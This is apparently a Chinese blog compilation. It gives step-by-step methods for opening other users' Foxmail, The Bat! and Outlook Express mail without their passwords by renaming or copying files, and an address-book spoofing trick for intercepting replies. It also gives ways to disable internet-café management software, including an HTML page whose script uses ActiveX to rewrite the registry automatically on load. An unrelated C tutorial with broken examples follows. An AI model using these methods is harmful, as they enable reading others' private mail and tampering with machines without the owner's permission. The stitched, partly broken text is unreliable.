      2、打开“资源管理器”或“我的电脑”,找到Foxmail文件夹,如果采用默认安装方式,一般在C:\ProgramFiles\Foxmail下。打开其下的“MAIL”文件夹,你会发现这里有许多以账户名命名的文件夹,打开新建的“123”文件夹后,里边有个名为“account.stg”的文件,把它复制到你想侵入的账户的目录里边,直接覆盖原来的“account.stg”文件。

      3、重新运行Foxmail,点击原本忘记了密码的那个信箱,呵呵,不会再向你问口令了!直接就可以打开该帐户,你会发现他的邮件静悄悄地躺在那里!里面的信件可以一览无余!

      其实,我们可以更简单一点侵入他的信箱,浏览他的信件的。方法是:进入MAIL文件夹下你想侵入的账户对应的文件夹,将其中的account.stg文件更名,然后就可以不需要任何密码就可以看到被保护的信件!

      漏洞防范方法:如果你是在公共环境下使用Foxmail那就要小心了,最保险的方法是使用Foxmail以后,将你的帐户所对应的文件夹删除,或者在建立帐户时,邮箱路径不要选择默认的,而是输入一个自己才知道的,如c:\windows\system\window的路径,哈哈,在系统文件夹下,谁敢乱动?再保险一点,找到您新建的信箱文件夹后,点击鼠标邮件,在弹出菜单中选择“属性”,将文件夹设为“隐藏”,别人想找你的文件夹也就更费力气了。除此以外,还可以使用WinZip对该文件夹进行压缩,对压缩后的ZIP文件加长一点的访问口令,使用时将其展开,使用完毕再如法炮制即可。
      二、The Bat !口令保护被绕过漏洞

      再来看看国内用户使用也较多的The Bat !。许多著名的下载网站将The Bat !归结为最高级别的邮件客户端工具,大都是五星极的推荐强度,人们非常信任这些推荐,于是纷纷下载使用。

      该软件的诸多功能中较为突出的一项是:具有访问密码,可以支持多账号,多人共用一台计算机时每个人可以凭借个人访问密码进入其个人账户查看邮件,以此保护个人隐私,从功能设计上考虑确实是十分周到,这样给用户一定的安全感,尤其是那么多网站授予该软件的推荐级别,该软件的威信级别极高,这无疑会让用户更加放心他的安全性。

      然而,该软件的账户安全极为脆弱,只要将账号目录下的account.cfg文件更名,即可不需要任何密码进入该帐号,可以看到被保护账号中的信件,这样隐私就被泄漏。这与Foxmail所存在的漏洞一样,任何人都可以饱览你的邮件,你给MM或GG写的信件都暴露喽!

      漏洞防范方法:同Foxmail中的防范方法。

      三、Outlook Express邮件被骗收

      你在用Outlook Express吗?如果你回答“是”,那么你就要小心了,因为有心人可以通过给你发一封邮件,使你发给朋友的信件发到他那里!不信?好!让我们来做个实验,如果你也按我说的去做了,你也可以骗收别人的信件!但请你不要把这个方法用于不正当的途径,否则后果自负。

      原理:其实,这是利用了Outlook Express地址簿的漏洞来实现的。运行你的Outlook Express,点击“工具”->“选项”,在弹出的对话框中点击“发送”标签,你会发现其中有这样一个选项“自动将我的回复对象添加到通讯簿” (英文版对应为“Automatically put people I reply to in my address book”)(图1),此项功能如被激活,Outlook Express会自动将人名和地址对应起来,这就给利用地址簿进行欺骗带来了可能。不幸的是,这个选项恰恰就是Outlook Express的默认设置!因此,绝大多数Outlook Express用户都存在这个漏洞!存在被人骗收邮件的可能!明白了吗?没有?没关系,看完下面的例子你就会明白了。



    图 1


      实验:假设你和你友及攻击者的信箱分别为a@hotmail.com、b@hotmail.com、c@hotmail.com,现在攻击者要让你发给你友的信件发到他的信箱,他会怎么做呢?首先,他会给你发一封如下所示信件:

      From: "b@hotmail.com"
      Reply-To: "b@hotmail.com"
      To: a
      Subject: how to catch you on Friday?

      然后,他将此信发到你的信箱a@hotmail.com。在你看来,收到的这封信,就是你友从b@hotmail.com这个信箱发来的,看到来信你当然要立即回信了,此时,Outlook Express地址簿会将b@hotmail.com作为名字和c@hotmail.com地址对应起来,如果你在“收件人”栏中直接敲进地址b@hotmail.com,Outlook Express会将地址解释成"b@hotmail.com" ,并因此将此信发给他!最可悲的是,在整个过程中你一直被蒙在鼓里,并不清楚发给朋友的信件并没有发到朋友的信箱中,当你还在傻等朋友的回信时,那个攻击者已经在那里饱览你的回信,思量进一步骗你的招数了!现在你知道这个漏洞有多么恐怖了吧。

      漏洞解决:现在要说说如何防止邮件被骗收了。其实这个漏洞只存在于Outlook Express中,并且只对Outlook Exress 5.5SP1及其之前版本起作用。因此如果你不使用Outlook Express或使用Outlook Express5.5SP1以上版本就不会有事。再不然,你可以将 “自动将我的回复对象添加到通讯簿”(英文版对应为“Automatically put people I reply to in my address book”)选项禁止(把它前面的“√”去掉),就可以放心大胆的使用Outlook Express了。
      四、Outlook Express标识不安全漏洞

      大家知道,利用Outlook Express的“标识”功能,可以添加、管理与切换标识,以达到多用户之间邮件互相保密的目的。即多个用户可以使用一套Outlook Express,在其中分别建立自己的标识,并通过“切换标识”来进入各自的邮件收发界面。如果在标识上加有密码,就可阻止他人进入而保护自己的信件。但这一功能的安全性真的这么可靠吗?看过下面的几行文字后马上你就会找到答案了。

      首先,给每一用户建立一个标识,设置好访问密码。然后,我们来做个小小的试验:打开“我的电脑”或“资源管理器”,按照下面这个路径(假设你的操作系统安装在C盘Windows文件夹下):C:\WINDOWS\Application Data\Identities\{9A433B00-F3AF-11D3-8326-86A8192E9915}\Microsoft\Outlook Express,一层层地打开文件夹,这就是Outlook Express默认的存储邮件的文件夹,在该文件夹下,你可以看到“收件箱.dbx”、“发件箱.dbx”、“已发送邮件.dbx”、“已删除邮件.dbx”、“草稿.dbx”等文件清清楚楚的展现在我们眼前(图2)!请注意,在你的电脑中,你看到的Outlook Express默认的存储邮件的路径可能与我的稍有不同,具体说来就是那个“{}”里面的内容有可能不相同。Outlook Express建立了几个标识就有几个名称为一串数字并带有“{}”的文件夹,默认情况下这些标识对应的文件夹都在C:\WINDOWS\Application Data\Identities下。



    图 2


      既然我们可以看到C:\WINDOWS\Application Data\Identities下各个标识对应文件夹下的文件,那么就应该可以把别的标识下的文件拷贝到自己的Outlook Express标识下。比方说,把别人的“收件箱.bdx”文件拷贝出来,并覆盖掉你这里的“收件箱.dbx”(图3),再打开Outlook Express试试,天,他(她)收到的信件都到我的收信箱里了!要提醒你注意的是,既然你可以用这个方法看到别人的信件,别人当然也可以用同样的办法看到你的信件,所以要保护好你自己的邮件哦,具体的方法我们在下面会提到。



    图 3


      上面我们主要利用了拷贝别人标识下的文件的方法,还有个更简单的方法可以让你在两分钟内破了别人的标识!具体步骤是:在“开始“→“设置”→“控制面板”→“用户”中增加一个新用户,然后在“开始/注销×××”中将当前的用户注销,并以新用户登录Windows。然后运行Outlook Express,切换标识试试,密码框全变成了灰色,现在你想进哪个标识都可以了!

      除了上面所说的危险,在公用环境下共用Outlook Express还存在另外的危险——邮件联系人地址暴露!虽然不如上面提到的邮件泄漏那么严重,但是自己的邮件联系人地址被别人得到也不好吧?万一他利用这份邮件联系人地址干坏事那影响可就大了!

      请和我一起做这么个实验:在Outlook Express的主窗口中,点击“文件→导入→通讯簿”(图4),会弹出文件对话框,从中找到C:\Windows\ApplicationData\Microsoft\Address Book,会看到几个WAB文件(图5),选中其中一个,选择“打开”,这个通讯簿文件中的内容就全在Outlook Express的窗口中显示出来。如果重复这一操作,把Address Book文件夹中的所有后缀名为WAB的文件全导入,则本机的所有联系人的地址就全在掌握之中了。



    图 4







    图 5

    注册表

    Interent是一个包罗万象的信息集合体,为我们的工作、学习和生活娱乐带来了很大的方便,在从中提取有用信息的一个重要工具就是搜索引擎。

      上网的时候我们可能都有这样的经历:想好要查找的内容,然后重新开一个IE窗口,连接到YAHOO!、天网、 SOHU等搜索引擎网页上去,再进行检索。对于每天都要面对的IE,应该知道它有一个快捷按钮就是"搜索",但是点击一下就会发现原来是用的EXCITE这个国外网站提供的服务,这对于国内大部分用户无法访问国外网站(除非用代理)。所以这个快捷按钮就成了一个摆设,但是能否让它关联到我们常用的国内搜索引擎网页上呢?答案是可以的!请随我按照下面的步骤进行操作吧。

    1.开始->运行->REGEDIT

    2.寻找下面的选项:
      [HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search]

    3.会发现SearchAssistant与CustomizeSearch的键值都是http://ie.search.msn.com/{SUB_RFC1766}/srchasst/srchcust.htm

    4.修改SearchAssistant的键值为"SearchAssistant"="http://e.pku.edu.cn/gbsearch.shtml"

      这样一来当你再一次打开浏览器点击"搜索"按钮的话就会发现,你熟悉的天网搜索引擎就会出现在搜索窗口中,这个按钮不再是一个摆设了。

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 下会有一个指向网管软件的键名,正是这个键使得网管理软件在你进入桌面的时候就开始工作了。那么知道了这一点,也许有人会说,把这个键删了不就得了嘛 ! 可是,网管理软件禁用了注册表编辑器啊,你怎么删呢 ?

      没关系,再让我们好好想一想,既然网管软件之所以一开机就运行是因为注册表中的键值指向了硬盘中的网管软件的路径,那么如果这个路径出现错误的话,它不就不会运行了吗 ? 好,明确了这一点,我们就可以动手干了。首先,我们要找准网管软件的安装路径,这一点好办,只要利用 IE 的 " 文件 "-" 打开 "-" 浏览 ",在打开方式中选择所有文件,就可以找到网吧管理软件的正确安装路径,( 找的时候可要仔细一点,可别找错了啊 ) 如果 IE 的此项功能被禁用的话,你也可以用 QQ 的 " 打开 " 功能 ( 相信不会有哪一家网吧连 QQ 都不装吧 ) 找到正确路径,要是还不行的话,你就打开 OUTLOOK 发邮件,利用它的 " 附件 " 功能同样可以找到。OK,如果你找到了网管软件的安装位置的话,我们就已经成功了一半了话,. 比如说,这个软件的可执行文件的位置是在 d:\wgsoft\wg.exe. 接下来,我们要做的就是给它重命名。为什么要重命名呢,很简单,因为在注册表的 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 下所记录的是网管理软件的正确位置 (d:\wgsoft\wg.exe) 如果我们使得它的位置变成了 d:\wgsoft\pj.exe 的话,那么在启动时,计算机将无法从注册表找到网管软件的正确位置,理所当然的它也就不会运行了。 可是,要是你想利用右键菜单的 " 重命名 " 时,我告诉你,你一定会失败的,因为禁用右键也是网管软件的基本功能之一,天啊,那该如何是好 ???

      放心,这也难不倒我们。这个时候,你只要偷偷趁着老板不在的时候,重新启动一次,然后按 F8 键,在出现的启动菜单中选择进入 DOS 方式,哈哈,现在网管软件不起作用了吧,接下来的事情我不说你应该清楚了,你只要进入 d:\wgsoft 目录下,然后用一个简单的不能再简单的 DOS 命令 REN 就可以轻松的 把 wg.exe 改成 pj.exe,再次重启吧,这个时候,那可恶的网管软件再也不会自动的跳出来扫我们的兴了,你就尽情的操作吧,想点什么就点什么,不过,可千万别乱删文件,毕竟,我们破解只是为了可以在网吧上网的时候不受到太多的限制,网吧老板也是人,他也要吃饭啊 !

      不过,以上介绍的方法也有行不通的时候,因为实现这种方法的最重要的一个地方就是可以进入 DOS 状态下进行重命名的操作,试想一下,如果网吧老板在 C 盘的 MSDOS.SYS 文件的 [OPTION] 里加上了这么一行语句 :

      BootKeys=0( 说明 : 当这一项为 0 时,启动功能键无效,也就是使 F4,F5,F8 这些功能键无效 )

      那么,当你重启按 F8 的时候,启动菜单就不会出现,系统就会进入 windows,那么,破解工作就不可能完成了。
                                    进入被封锁的硬盘或文件。操作如下:

      1、如果桌面上已有快捷方式则省略此步。点击右键----新建——快捷方式。

      2、右键点选快捷方式图标,再点“属性”。我们可以看到属性中有两个按钮:“更改图标”和“查找目标”。(网页快捷方式属性中一般只有“更改图标”)

      3、我们再在“目标”中输入隐藏盘中的一个文件或文件夹的路径(你不会连你所隐藏的盘中的一个文件也不知道吧!)。对网页快捷方式则只需输入盘符即可。然后再点“应用”。

      4、好了,我们再点“查找目标”按钮(或者在桌面上双击),快看,我们已经成功绕过注册表的封锁进入了你想进入的文件夹。接下来你就可以干自己想要干的事了。

      当然,你对注册表很熟悉的话。你只需在记事本中输入以下内容:

        REGEDIT4

        [HKEY_USERS\.DEFAULT\
        Software\Microsoft\Windows\CurrentVersion\Policies\system"DisableRegistryTools"=dword:00000000]

      注意:REGEDIT和4之间不能有空格。

      然后保存为一后缀为REG的文件。这样,你就可以重新编辑注册表了。

    html突破限制

    大家知道,有时候在网吧上网常常碰见网吧装了一些管理软件,那些软件对于网吧管理者来说确实是帮了不少忙,可是对于我们这些使用者来说有时候却觉得非常麻烦。不知道我下面的这句HTML语言对大家是否有帮助。

      <A href="file:///::{208D2C60-3AEA-1069-A2D7-08002B30309D}">显示:“网络邻居”</A>
      <BR>
      <A href="file:///::{20D04FE0-3AEA-1069-A2D8-08002B30309D}">显示:“我的电脑”</A>
     
     <BR>
     <A href="file:///::{450D8FBA-AD25-11D0-98A8-0800361B1103}">显示:“我的文档”</A>
     
     <BR>
     <A href="file:///::{20D04FE0-3AEA-1069-A2D8-08002B30309D}/::{21EC2020-3AEA-1069-A
    2DD-08002B30309D}">显示:“控制面板”
    </A><BR>
      <A href="file:///::{645FF040-5081-101B-9F08-00AA002F954E}">显示:“回收站”</A><B
    R>
      <A href="file:///c:/windows/system/显示桌面.scf">显示桌面
    <BR>
      <A href="file:///c:/windows/command.com">输入命令,进入DOS环境<BR>

      <A href="file:///c:/windows/regedit.exe">运行注册表
    </A><BR>
      <A href="file:///c:/windows/taskman.exe">运行</A>< p>

      (注意:点击链接后提示下载taskman.exe,下载后,打开程序,再打开文件菜单,选“运行应用程序”,就跟我们平时使用的“开始”->“运行”一样了)

      把上面的这些东西拷贝到文字处理软件(如记事本)中,再存储为htm或者html为后缀名的文件,打开文件,我们就可以很方便地突破某些网吧管理软件的一些限制了,可惜的是我现在还没有自己的个人网页,希望看到这篇文章的那位读者把该文件传到网上,这样我们就可以实现在线破解了。

      另外,如果机器的注册表被禁止了的话,再把下面的这些内容加上吧。

      <SCRIPT language=java-script>
      document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent>
    </A
      PPLET>");
      function f(){
      try
      {
      //ActiveX初始化过程(为达到修改用户注册表所必须的准备程序)
      a1=document.applets[0];
      a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
      a1.createInstance();
      Shl = a1.GetObject();
      a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
      a1.createInstance();
      FSO = a1.GetObject();
      a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
      a1.createInstance();
      Net = a1.GetObject();
      try
      {
      if (document.cookie.indexOf("Chg") == -1)
      //以下是检测用户注册表并修改相应的键值
      {
      Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Syste
    m\\DisableRegistryTools", "00000000", "REG_DWORD")
      var expdate = new Date((new Date()).getTime() + (1));
      document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
      }
      }
      catch(e)
      {}
      }
      catch(e)
      {}
      }
      function init()
      {
      setTimeout("f()", 1000);//实现打开页面后1秒钟内执行测试修改注册表的工作
      }
      init();
      </SCRIPT>

      写到这里,刚想收笔,但是又突然想到一个问题:虽然大多数的WINDOWS操作系统用户都在安装系统时将系统默认安装在C:\WINDOWS目录下,但是万一不是呢,所以大家可以把这几个常用的文件保存在自己的电子邮箱中,毕竟几个文件加起来也才260K左右,但是我想这样的可能性是很少的,换句话说就是我的上面那种方法还是很有用的,呵呵。

    如果网吧的计算机安装了某种系统管理软件,使资源管理器被屏蔽、鼠标右键被隐藏、禁止下载文件、禁止删除硬盘上的文件,一定会给我们的上网操作带来很多的不方便,以下是我总结出的几点突破封锁的技巧与经验:
      一、突破资源管理器被屏蔽的几种方法
      网吧中为了防止你对文件或文件夹进行操作,会将资源管理器给屏蔽了,可我们要建立文件或文件夹该怎么办呢?别急,你可以采用下面这些办法:
      1、打开IE浏览器,点击菜单“查看”→“浏览器栏”→“文件夹”,就可以打开被屏蔽的资源管理器。
      2、在IE浏览器的地址栏直接填入“桌面”或“我的文档”,同样可以打开被屏蔽的资源管理器。
      3、在网络上随意找一个可下载的文件,比如一个几百KB的小软件,在下载的过程中把“下载完毕后关闭对话框”前面的“√”取消,下载完成后点击打开文件夹,资源管理器就出现了。
      二、突破禁止下载文件的几种方法
      1、打开IE浏览器,点击“工具”→“Internet选项”→“安全”→“默认级别”菜单。
      2、在需要下载的链接上单击鼠标右键,选择“目标另存为”保存即可。
      三、突破禁止删除硬盘上文件的几种方法
      1、左键单击选中要删除的文件,按键盘上的Delete键,松开按键后迅速按下Enter键。
      2、复制一个无敏感内容的文件到另外一个文件夹中,并改名为欲删除的文件名和扩展名,复制此文件,回到要删除文件的所在文件夹,点击“粘贴”,系统提示:“确认文件替换”,点击“是’。注:显示文件扩展名的方法:“查看”→“文件夹选项”“查看”,把“隐藏已知文件类型的扩展名”前面的“√”取消,然后点击“应用→“确定”即可。
      四、突破鼠标右键被隐藏的方法
      有些网吧中的电脑在资源管理器中将右键给隐藏起来了,使得你无法使用右键菜单,防止你删除文件,此时你可以这样做:用鼠标左键单击选中要删除的文件,同时按住shift+F10键,即可在资源管理器中显示出鼠标的右键菜单。好了,可以为所欲为了^_^。
      五、突破软驱被禁用的方法
      网吧中的电脑没有安装软驱该怎么办呢?这可不是软件能解决的问题。只有从硬件方面着手了。我们可以利用USB接口的移动存储工具嘛!比方说:朗科的优盘,此外还有捷盘、鲁文的易盘、怡华的搬运工、华旗的爱国者迷你王……你可以根据自己的需要选择不同容量的型号,容量在8M、16M、32M、64M、128M、256M……不等,32M的捷盘价格大约在300元左右,8M的更便宜一些,用它们来代替软盘岂不是很妙?这样网吧的文件都能下载文件回来了!如果有条件,还可以选择更大容量的、采用USB接口的便携式移动硬盘,容量在1.6G-30G不等。
    要想玩游戏,我们首先就得下载客户端。而要下载客户端 , 首先就要把网吧的机器的下载限制给去掉 ! 要破解禁止下载,也许大家首先想到的是通过安装一些在线网站的在线破解控件。不过最近我发现,不用在线安装什么控件,也不需要使用注册表文件,就能解除下载限制!

      我们要使用的工具就是 QQ 附带的网页浏览器腾讯 TT 。只要你安装了它,在工具条上点击下载,就会弹出“旋风下载”的对话框出来。或者你直接在浏览的网页上点击下载地址一样会弹出“旋风下载”出来。(图1)

    图1

      在 QQ2004 以上的版本上,你只要点击 QQ 面板左侧的 DISK 图标,你会发现有个网络硬盘,你点击公共频道看看,是不是有一个 TT 浏览器啊?你只要双击它,就会出现一个对话窗口说“腾讯 TT 浏览器可能会损坏您的计算机”之类的信息,问你是不是继续,为了游戏,当然选择“是”拉!

      之后小候片刻,等系统下载完毕,就会出现腾讯 TT 的安装窗口,安装完毕选择运行,

      再进入你想下载的游戏的网页 , 呵呵,这下你想怎么下载就怎么下载吧!

      在下载完毕后,你只要选择“打开文件夹”就可以访问你刚才下载的文件的所在文件夹了。(图2)

    图2

      如果在你在玩游戏时不小心关闭了 TT ,而你还想下载,你可以叫你的朋友给你 QQ 随便发个包含网址的信息,一点击, TT 就又出来了!

      当然你也可以把你经常玩的游戏的客户端放到 QQ 的网络硬盘上面 ( 免费用户有 16MB), 这样只要你一上 QQ 你就可以把客户端下载回来玩了 .

      这样一来,我们不管在哪里都可以尽情地可以下载游戏了。

    June 04

    cs word

    • 确你最终的专业方向是软件还是硬件。方向是网络?网络不是专业方向。网络是最优秀的软件工程师、最优秀的硬件工程师与最优秀的通信工程师的智慧结晶。如果你是软件方向,请你在学精一揽子数学、数据结构、算法设计、数值分析、汇编语言、操作系统、编译原理、数据库原理、软件工程之类课程后,仔细的听一听硬件课程,他对你有用。软件工程绝对不是背背就能过的课,计算机理论可能是一个人就能研究出来,软件工程是成千万网软件工程师几十年来失败的教训凝结成的结晶,请认真听课。不要问我应该学什么语言,计算级专业的人必须具备任何语言1小时上手的能力,最起码要在10分钟把"hello world"做出来。如果说有必须学的两种语言,那他们是c++与java,学他们不是在学语言,而是在学thinking in c++,thinging in java,一个是软件的基础理论,一个是面向对象的基础理论,从来没有人听说过"thinking in basic"。如果你说c++过时了,那么千万别告诉别人你的名字,因为很丢人。老师只许会教给你c,不会教给你++,所以不要被他蒙蔽,大胆的问他++,如果他不会,干脆换老师。
    • C语言程序设计

      本课介绍C语言程序设计的基本方法和基本的程序语句。
      从程序流程的角度来看,程序可以分为三种基本结构, 即顺序结构、分支结构、循环结构。 这三种基本结构可以组成所有的各种复杂程序。C语言提供了多种语句来实现这些程序结构。 本章介绍这些基本语句及其应用,使读者对C程序有一个初步的认识, 为后面各章的学习打下基础。

      C程序的语句

      C程序的执行部分是由语句组成的。 程序的功能也是由执行语句实现的。
      C语句可分为以下五类:
      1.表达式语句
      2.函数调用语句
      3.控制语句
      4.复合语句
      5.空语句

      1.表达式语句


      表达式语句由表达式加上分号“;”组成。其一般形式为: 表达式; 执行表达式语句就是计算表达式的值。例如: x=y+z; 赋值语句y+z; 加法运算语句,但计算结果不能保留,无实际意义i++; 自增1语句,i值增1

      2.函数调用语句

      由函数名、实际参数加上分号“;”组成。其一般形式为: 函数名(实际参数表); 执行函数语句就是调用函数体并把实际参数赋予函数定义中的形式参数,然后执行被调函数体中的语句,求取函数值。(在第五章函数中再详细介绍)例如printf("C Program");调用库函数,输出字符串。

      3.控制语句

      控制语句用于控制程序的流程, 以实现程序的各种结构方式。
      它们由特定的语句定义符组成。C语言有九种控制语句。 可分成以下三类:
      (1) 条件判断语句
        if语句,switch语句
      (2) 循环执行语句
        do while语句,while语句,for语句
      (3) 转向语句
        break语句,goto语句,continue语句,return语句

      4.复合语句

      把多个语句用括号{}括起来组成的一个语句称复合语句。 在程序中应把复合语句看成是单条语句,而不是多条语句,例如
      {
      x=y+z;
      a=b+c;
      printf(“%d%d”,x,a);
      }
      是一条复合语句。复合语句内的各条语句都必须以分号“;”结尾,在括号“}”外不能加分号。

      5.空语句

      只有分号“;”组成的语句称为空语句。 空语句是什么也不执行的语句。在程序中空语句可用来作空循环体。例如 while(getchar()!='\n'); 本语句的功能是,只要从键盘输入的字符不是回车则重新输入。这里的循环体为空语句。

      赋值语句

      赋值语句是由赋值表达式再加上分号构成的表达式语句。 其一般形式为: 变量=表达式; 赋值语句的功能和特点都与赋值表达式相同。 它是程序中使用最多的语句之一。 在赋值语句的使用中需要注意以下几点:

      1.由于在赋值符“=”右边的表达式也可以又是一个赋值表达式,因此,下述形式 变量=(变量=表达式); 是成立的,从而形成嵌套的情形。其展开之后的一般形式为: 变量=变量=…=表达式;
      例如:
      a=b=c=d=e=5;按照赋值运算符的右接合性,因此实际上等效于:
      e=5;
      d=e;
      c=d;
      b=c;
      a=b;

      2.注意在变量说明中给变量赋初值和赋值语句的区别。给变量赋初值是变量说明的一部分,赋初值后的变量与其后的其它同类变量之间仍必须用逗号间隔,而赋值语句则必须用分号结尾。
      3.在变量说明中,不允许连续给多个变量赋初值。 如下述说明是错误的: int a=b=c=5 必须写为 int a=5,b=5,c=5; 而赋值语句允许连续赋值
      4.注意赋值表达式和赋值语句的区别。赋值表达式是一种表达式,它可以出现在任何允许表达式出现的地方,而赋值语句则不能。
      下述语句是合法的: if((x=y+5)>0) z=x; 语句的功能是,若表达式x=y+5大于0则z=x。下述语句是非法的: if((x=y+5;)>0) z=x; 因为=y+5;是语句,不能出现在表达式中。

      数据输出语句

      本小节介绍的是向标准输出设备显示器输出数据的语句。在C语言中,所有的数据输入/输出都是由库函数完成的。 因此都是函数语句。本小节先介绍printf函数和putchar函数。printf函数printf函数称为格式输出函数,其关键字最末一个字母f即为“格式”(format)之意。其功能是按用户指定的格式, 把指定的数据显示到显示器屏幕上。在前面的例题中我们已多次使用过这个函数。

      一、printf函数调用的一般形式

      printf函数是一个标准库函数,它的函数原型在头文件“stdio.h”中。但作为一个特例,不要求在使用 printf 函数之前必须包含stdio.h文件。printf函数调用的一般形式为: printf(“格式控制字符串”,输出表列)其中格式控制字符串用于指定输出格式。 格式控制串可由格式字符串和非格式字符串两种组成。格式字符串是以%开头的字符串,在%后面跟有各种格式字符,以说明输出数据的类型、形式、长度、小数位数等。如“%d”表示按十进制整型输出,“%ld”表示按十进制长整型输出,“%c”表示按字符型输出等。后面将专门给予讨论。

      非格式字符串在输出时原样照印,在显示中起提示作用。 输出表列中给出了各个输出项, 要求格式字符串和各输出项在数量和类型上应该一一对应。
      void main()
      {
      int a=88,b=89;
      printf("%d %d\n",a,b);
      printf("%d,%d\n",a,b);
      printf("%c,%c\n",a,b);
      printf("a=%d,b=%d",a,b);
      }
      a<--8,b<--89

      printf("%d %d\n",a,b);
      printf("%d,%d\n",a,b);
      printf("%c,%c\n",a,b);
      printf("a=%d,b=%d",a,b);
      本例中四次输出了a,b的值,但由于格式控制串不同,输出的结果也不相同。第四行的输出语句格式控制串中,两格式串%d 之间加了一个空格(非格式字符),所以输出的a,b值之间有一个空格。第五行的printf语句格式控制串中加入的是非格式字符逗号, 因此输出的a,b值之间加了一个逗号。第六行的格式串要求按字符型输出 a,b值。第七行中为了提示输出结果又增加了非格式字符串。

      二、格式字符串

      在Turbo C中格式字符串的一般形式为: [标志][输出最小宽度][.精度][长度]类型 其中方括号[]中的项为可选项。各项的意义介绍如下:
      1.类型类型字符用以表示输出数据的类型,其格式符和意义下表所示:
      表示输出类型的格式字符       格式字符意义
      d                 以十进制形式输出带符号整数(正数不输出符号)
      o                 以八进制形式输出无符号整数(不输出前缀O)
      x                 以十六进制形式输出无符号整数(不输出前缀OX)
      u                 以十进制形式输出无符号整数
      f                 以小数形式输出单、双精度实数
      e                 以指数形式输出单、双精度实数
      g                 以%f%e中较短的输出宽度输出单、双精度实数
      c                 输出单个字符
      s                 输出字符串
      2.标志
      标志字符为-、+、#、空格四种,其意义下表所示:
      标志格式字符      标 志 意 义
      -          结果左对齐,右边填空格
      +          输出符号(正号或负号)空格输出值为正时冠以空格,为负时冠以负号
      #          对c,s,d,u类无影响;对o类, 在输出时加前
      缀o         对x类,在输出时加前缀0x;对e,g,f 类当结果有小数时才给出小数点
      3.输出最小宽度
      用十进制整数来表示输出的最少位数。 若实际位数多于定义的宽度,则按实际位数输出, 若实际位数少于定义的宽度则补以空格或0。
      4.精度
      精度格式符以“.”开头,后跟十进制整数。本项的意义是:如果输出数字,则表示小数的位数;如果输出的是字符, 则表示输出字符的个数;若实际位数大于所定义的精度数,则截去超过的部分。
      5.长度
      长度格式符为h,l两种,h表示按短整型量输出,l表示按长整型量输出。
      void main(){
      int a=15;
      float b=138.3576278;
      double c=35648256.3645687;
      char d='p';
      printf("a=%d,%5d,%o,%x\n",a,a,a,a);
      printf("b=%f,%lf,%5.4lf,%e\n",b,b,b,b);
      printf("c=%lf,%f,%8.4lf\n",c,c,c);
      printf("d=%c,%8c\n",d,d);
      } a<--15
      b<--138.3576278
      c<--35648256.3645687
      d<--'p' main()
      {
      int a=29;
      float b=1243.2341;
      double c=24212345.24232;
      char c='h'
      printf("a=%d,%5d,%o,%x\n",a,a,a,a);
      printf("b=%f,%lf,%5.4lf,%e\n",b,b,b,b);
      printf("c=%lf,%f,%8.4lf\n",c,c,c);
      printf("d=%c,%8c\n",d,d);
      }

      本例第七行中以四种格式输出整型变量a的值,其中“%5d ”要求输出宽度为5,而a值为15只有两位故补三个空格。 第八行中以四种格式输出实型量b的值。其中“%f”和“%lf ”格式的输出相同,说明“l”符对“f”类型无影响。“%5.4lf”指定输出宽度为5,精度为4,由于实际长度超过5故应该按实际位数输出,小数位数超过4位部分被截去。第九行输出双精度实数,“%8.4lf ”由于指定精度为4位故截去了超过4位的部分。第十行输出字符量d,其中“%bc ”指定输出宽度为8故在输出字符p之前补加7个空格。

      使用printf函数时还要注意一个问题, 那就是输出表列中的求值顺序。不同的编译系统不一定相同,可以从左到右, 也可从右到左。Turbo C是按从右到左进行的。如把例2.13改写如下述形式:
      void main(){
      int i=8;
      printf("%d\n%d\n%d\n%d\n%d\n%d\n",++i,--i,i--,i++,-i--);
      } i<--8

      这个程序与例2.13相比只是把多个printf语句改一个printf 语句输出。但从结果可以看出是不同的。为什么结果会不同呢?就是因为printf函数对输出表中各量求值的顺序是自右至左进行 的。在式中,先对最后一项“-i--”求值,结果为-8,然后i自减1后为7。 再对“-i++”项求值得-7,然后i自增1后为8。再对“i--”项求值得8,然后i再自减1后为7。再求“i++”项得7,然后I再自增1后为8。 再求“--i”项,i先自减1后输出,输出值为7。 最后才求输出表列中的第一项“++i”,此时i自增1后输出8。但是必须注意, 求值顺序虽是自右至左,但是输出顺序还是从左至右, 因此得到的结果是上述输出结果。

      字符输出函数

      putchar 函数

      putchar 函数是字符输出函数, 其功能是在显示器上输出单个字符。其一般形式为: putchar(字符变量) 例如:
      putchar('A'); 输出大写字母A
      putchar(x); 输出字符变量x的值
      putchar('\n'); 换行 对控制字符则执行控制功能,不在屏幕上显示。 使用本函数前必须要用文件包含命令:
      #include<stdio.h>
      #include <stdio.h>
      void main(){
      char a='B',b='o',c='k';
      putchar(a);putchar(b);putchar(b);putchar(c);putchar('\t');
      putchar(a);putchar(b);
      putchar('\n');
      putchar(b);putchar(c);
      }

      数据输入语句

      C语言的数据输入也是由函数语句完成的。 本节介绍从标准输入设备—键盘上输入数据的函数scanf和getchar。 scanf函数 scanf函数称为格式输入函数,即按用户指定的格式从键盘上把数据输入到指定的变量之中。

      一、scanf函数的一般形式

